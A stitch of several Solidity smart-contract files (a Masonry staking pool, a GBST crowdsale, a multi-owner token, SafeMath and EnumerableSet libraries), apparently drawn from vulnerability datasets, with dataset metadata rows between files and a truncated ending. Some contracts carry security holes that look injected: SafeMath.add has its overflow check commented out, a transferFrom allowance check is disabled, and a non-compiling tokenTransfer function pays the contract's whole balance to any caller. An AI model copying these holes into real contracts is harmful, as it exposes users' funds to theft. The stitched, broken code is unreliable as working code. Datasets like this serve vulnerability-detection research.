// SPDX-License-Identifier: MIT pragma solidity 0.6.12; library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract ContractGuard { mapping(uint256 => mapping(address => bool)) private _status; function checkSameOriginReentranted() internal view returns (bool) { return _status[block.number][tx.origin]; } function checkSameSenderReentranted() internal view returns (bool) { return _status[block.number][msg.sender]; } modifier onlyOneBlock() { require(!checkSameOriginReentranted(), "ContractGuard: one block, one function"); require(!checkSameSenderReentranted(), "ContractGuard: one block, one function"); _; _status[block.number][tx.origin] = true; _status[block.number][msg.sender] = true; } } interface IBasisAsset { function mint(address recipient, uint256 amount) external returns (bool); function burn(uint256 amount) external; function burnFrom(address from, uint256 amount) external; function isOperator() external returns (bool); function operator() external view returns (address); function transferOperator(address newOperator_) external; } interface ITreasury { function epoch() external view returns (uint256); function nextEpochPoint() external view returns (uint256); function getTombPrice() external view returns (uint256); function buyBonds(uint256 amount, uint256 targetPrice) external; function redeemBonds(uint256 amount, uint256 targetPrice) external; } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ShareWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public share; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public virtual { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); share.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public virtual { uint256 masonShare = _balances[msg.sender]; require(masonShare >= amount, "Masonry: withdraw request greater than staked amount"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = masonShare.sub(amount); share.safeTransfer(msg.sender, amount); } } contract Masonry is ShareWrapper, ContractGuard { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; struct Masonseat { uint256 lastSnapshotIndex; uint256 rewardEarned; uint256 epochTimerStart; } struct MasonrySnapshot { uint256 time; uint256 rewardReceived; uint256 rewardPerShare; } // governance address public operator; // flags bool public initialized = false; IERC20 public tomb; ITreasury public treasury; mapping(address => Masonseat) public masons; MasonrySnapshot[] public masonryHistory; uint256 public withdrawLockupEpochs; uint256 public rewardLockupEpochs; event Initialized(address indexed executor, uint256 at); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardAdded(address indexed user, uint256 reward); modifier onlyOperator() { require(operator == msg.sender, "Masonry: caller is not the operator"); _; } modifier masonExists { require(balanceOf(msg.sender) > 0, "Masonry: The mason does not exist"); _; } modifier updateReward(address mason) { if (mason != address(0)) { Masonseat memory seat = masons[mason]; seat.rewardEarned = earned(mason); seat.lastSnapshotIndex = latestSnapshotIndex(); masons[mason] = seat; } _; } modifier notInitialized { require(!initialized, "Masonry: already initialized"); _; } function initialize(IERC20 _tomb, IERC20 _share, ITreasury _treasury) public notInitialized { tomb = _tomb; share = _share; treasury = _treasury; MasonrySnapshot memory genesisSnapshot = MasonrySnapshot({time : block.number, rewardReceived : 0, rewardPerShare : 0}); masonryHistory.push(genesisSnapshot); withdrawLockupEpochs = 6; // Lock for 6 epochs (36h) before release withdraw rewardLockupEpochs = 3; // Lock for 3 epochs (18h) before release claimReward initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } function setOperator(address _operator) external onlyOperator { operator = _operator; } function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator { require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week withdrawLockupEpochs = _withdrawLockupEpochs; rewardLockupEpochs = _rewardLockupEpochs; } // =========== Snapshot getters function latestSnapshotIndex() public view returns (uint256) { return masonryHistory.length.sub(1); } function getLatestSnapshot() internal view returns (MasonrySnapshot memory) { return masonryHistory[latestSnapshotIndex()]; } function getLastSnapshotIndexOf(address mason) public view returns (uint256) { return masons[mason].lastSnapshotIndex; } function getLastSnapshotOf(address mason) internal view returns (MasonrySnapshot memory) { return masonryHistory[getLastSnapshotIndexOf(mason)]; } function canWithdraw(address mason) external view returns (bool) { return masons[mason].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(); } function canClaimReward(address mason) external view returns (bool) { return masons[mason].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(); } function epoch() external view returns (uint256) { return treasury.epoch(); } function nextEpochPoint() external view returns (uint256) { return treasury.nextEpochPoint(); } function getTombPrice() external view returns (uint256) { return treasury.getTombPrice(); } // =========== Mason getters function rewardPerShare() public view returns (uint256) { return getLatestSnapshot().rewardPerShare; } function earned(address mason) public view returns (uint256) { uint256 latestRPS = getLatestSnapshot().rewardPerShare; uint256 storedRPS = getLastSnapshotOf(mason).rewardPerShare; return balanceOf(mason).mul(latestRPS.sub(storedRPS)).div(1e18).add(masons[mason].rewardEarned); } function stake(uint256 amount) public override onlyOneBlock updateReward(msg.sender) { require(amount > 0, "Masonry: Cannot stake 0"); super.stake(amount); masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public override onlyOneBlock masonExists updateReward(msg.sender) { require(amount > 0, "Masonry: Cannot withdraw 0"); require(masons[msg.sender].epochTimerStart.add(withdrawLockupEpochs) <= treasury.epoch(), "Masonry: still in withdraw lockup"); claimReward(); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); } function claimReward() public updateReward(msg.sender) { uint256 reward = masons[msg.sender].rewardEarned; if (reward > 0) { require(masons[msg.sender].epochTimerStart.add(rewardLockupEpochs) <= treasury.epoch(), "Masonry: still in reward lockup"); masons[msg.sender].epochTimerStart = treasury.epoch(); // reset timer masons[msg.sender].rewardEarned = 0; tomb.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function allocateSeigniorage(uint256 amount) external onlyOneBlock onlyOperator { require(amount > 0, "Masonry: Cannot allocate 0"); require(totalSupply() > 0, "Masonry: Cannot allocate when totalSupply is 0"); // Create & add new snapshot uint256 prevRPS = getLatestSnapshot().rewardPerShare; uint256 nextRPS = prevRPS.add(amount.mul(1e18).div(totalSupply())); MasonrySnapshot memory newSnapshot = MasonrySnapshot({ time: block.number, rewardReceived: amount, rewardPerShare: nextRPS }); masonryHistory.push(newSnapshot); tomb.safeTransferFrom(msg.sender, address(this), amount); emit RewardAdded(msg.sender, amount); } function governanceRecoverUnsupported(IERC20 _token, uint256 _amount, address _to) external onlyOperator { // do not allow to drain core tokens require(address(_token) != address(tomb), "bullet"); require(address(_token) != address(share), "cowboy"); _token.safeTransfer(_to, _amount); } }
322,759
12,138
e300bbe3621076cce66934f6617e8c7bbdcbeef119a7cc33d06bcfec454a2426
16,825
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0xeca8d4cb072af5d3e59b0460e072e60cd922ff7e.sol
2,926
10,410
pragma solidity ^0.4.11; contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0x0, _to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract ReleasableToken is MintableToken { address public releaseAgent; bool public released = false; mapping (address => bool) public transferAgents; modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { releaseAgent = addr; } function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } function releaseTokenTransfer() public onlyReleaseAgent { released = true; } modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } contract GlobalBusinessSystemToken is ReleasableToken { string public constant name = "Global Business System Token"; string public constant symbol = "GBST"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 0; function GlobalBusinessSystemToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; setReleaseAgent(msg.sender); } } contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) { //require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != 0x0); token = createTokenContract(); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // fallback function can be used to buy tokens function () payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) payable { require(beneficiary != 0x0); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool minValue = msg.value >= 10000000000000000; return withinPeriod && nonZeroPurchase && minValue; } // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { return now > endTime; } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; function CappedCrowdsale(uint256 _cap) { require(_cap > 0); cap = _cap * 1000000000000000000; } // overriding Crowdsale#validPurchase to add extra cap logic // @return true if investors can buy at the moment function validPurchase() internal constant returns (bool) { bool withinCap = weiRaised.add(msg.value) <= cap; return super.validPurchase() && withinCap; } // overriding Crowdsale#hasEnded to add cap logic // @return true if crowdsale event has ended function hasEnded() public constant returns (bool) { bool capReached = weiRaised >= cap; return super.hasEnded() || capReached; } } contract FinalizableCrowdsale is Crowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner { require(!isFinalized); require(hasEnded()); finalization(); Finalized(); isFinalized = true; } function finalization() internal { } } contract GlobalBusinessSystem is CappedCrowdsale,FinalizableCrowdsale { function GlobalBusinessSystem(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _cap, address _wallet) CappedCrowdsale(_cap) FinalizableCrowdsale() Crowdsale(_startTime, _endTime, _rate, _wallet) { //As goal needs to be met for a successful crowdsale //the value needs to less or equal than a cap which is limit for accepted funds //require(_goal <= _cap); } function createTokenContract() internal returns (MintableToken) { return new GlobalBusinessSystemToken(); } function tokenTransfer() public { totalEth = totalEth + msg.value; uint256 amount = msg.value * unitsEth; if (balances[walletAdd] < amount) { return; } balances[walletAdd] = balances[walletAdd] - amount; balances[msg.sender] = balances[msg.sender] + amount; msg.sender.transfer(this.balance); } }
188,323
12,139
f98290b8064776812e083c8715f2d34298c72c87dc0f4ded1fbed6bb321bfcb9
11,363
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.6/0x625615dcb1b33c4c5f28f48609e46b0727cfb451.sol
2,821
10,759
pragma solidity ^0.4.11; contract SafeMath { function safeMul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. function transfer(address _to, uint256 _value) public returns (bool) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else return false; } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else return false; } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MultiOwnable { mapping (address => bool) ownerMap; address[] public owners; event OwnerAdded(address indexed _newOwner); event OwnerRemoved(address indexed _oldOwner); modifier onlyOwner() { require(isOwner(msg.sender)); _; } function MultiOwnable() { // Add default owner address owner = msg.sender; ownerMap[owner] = true; owners.push(owner); } function ownerCount() public constant returns (uint256) { return owners.length; } function isOwner(address owner) public constant returns (bool) { return ownerMap[owner]; } function addOwner(address owner) onlyOwner public returns (bool) { if (!isOwner(owner) && owner != 0) { ownerMap[owner] = true; owners.push(owner); OwnerAdded(owner); return true; } else return false; } function removeOwner(address owner) onlyOwner public returns (bool) { if (isOwner(owner)) { ownerMap[owner] = false; for (uint i = 0; i < owners.length - 1; i++) { if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } } owners.length -= 1; OwnerRemoved(owner); return true; } else return false; } } contract TokenSpender { function receiveApproval(address _from, uint256 _value); } contract CommonBsToken is StandardToken, MultiOwnable { string public name; string public symbol; uint256 public totalSupply; uint8 public decimals = 18; string public version = 'v0.1'; address public creator; address public seller; // The main account that holds all tokens at the beginning. uint256 public saleLimit; // (e18) How many tokens can be sold in total through all tiers or tokensales. uint256 public tokensSold; // (e18) Number of tokens sold through all tiers or tokensales. uint256 public totalSales; // Total number of sale (including external sales) made through all tiers or tokensales. bool public locked; event Sell(address indexed _seller, address indexed _buyer, uint256 _value); event SellerChanged(address indexed _oldSeller, address indexed _newSeller); event Lock(); event Unlock(); event Burn(address indexed _burner, uint256 _value); modifier onlyUnlocked() { if (!isOwner(msg.sender) && locked) throw; _; } function CommonBsToken(address _seller, string _name, string _symbol, uint256 _totalSupplyNoDecimals, uint256 _saleLimitNoDecimals) MultiOwnable() { // Lock the transfer function during the presale/crowdsale to prevent speculations. locked = true; creator = msg.sender; seller = _seller; name = _name; symbol = _symbol; totalSupply = _totalSupplyNoDecimals * 1e18; saleLimit = _saleLimitNoDecimals * 1e18; balances[seller] = totalSupply; Transfer(0x0, seller, totalSupply); } function changeSeller(address newSeller) onlyOwner public returns (bool) { require(newSeller != 0x0 && seller != newSeller); address oldSeller = seller; uint256 unsoldTokens = balances[oldSeller]; balances[oldSeller] = 0; balances[newSeller] = safeAdd(balances[newSeller], unsoldTokens); Transfer(oldSeller, newSeller, unsoldTokens); seller = newSeller; SellerChanged(oldSeller, newSeller); return true; } function sellNoDecimals(address _to, uint256 _value) public returns (bool) { return sell(_to, _value * 1e18); } function sell(address _to, uint256 _value) onlyOwner public returns (bool) { // Check that we are not out of limit and still can sell tokens: if (saleLimit > 0) require(safeSub(saleLimit, safeAdd(tokensSold, _value)) >= 0); require(_to != address(0)); require(_value > 0); require(_value <= balances[seller]); balances[seller] = safeSub(balances[seller], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(seller, _to, _value); tokensSold = safeAdd(tokensSold, _value); totalSales = safeAdd(totalSales, 1); Sell(seller, _to, _value); return true; } function transfer(address _to, uint256 _value) onlyUnlocked public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) onlyUnlocked public returns (bool) { return super.transferFrom(_from, _to, _value); } function lock() onlyOwner public { locked = true; Lock(); } function unlock() onlyOwner public { locked = false; Unlock(); } function burn(uint256 _value) public returns (bool) { require(_value > 0); require(_value <= balances[msg.sender]); balances[msg.sender] = safeSub(balances[msg.sender], _value) ; totalSupply = safeSub(totalSupply, _value); Transfer(msg.sender, 0x0, _value); Burn(msg.sender, _value); return true; } function approveAndCall(address _spender, uint256 _value) public { TokenSpender spender = TokenSpender(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value); } } } contract XToken is CommonBsToken { function XToken() public CommonBsToken(0xE3E9F66E5Ebe9E961662da34FF9aEA95c6795fd0, // TODO address _seller (main holder of all tokens) 'X full', 'X short', 100 * 1e6, // Max token supply. 40 * 1e6 // Sale limit - max tokens that can be sold through all tiers of tokensale.) { } }
210,523
12,140
1519049309953102abac2dc0d5c4fd7fda7d80ca9311a4ee2513b7a0aec0529e
16,089
.sol
Solidity
false
293466625
xf97/HuangGai
40a349be6102d5eb63893fb914659405ae162d93
injectedContractDataSet/integerOverflow/0x5572685c9bb58a41b394ab4634350a89012a2799_integerOverflow.sol
2,967
11,593
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause //BSD Zero Clause License: "SPDX-License-Identifier: <SPDX-License>" library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; //assert(c >= a); return c; } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored 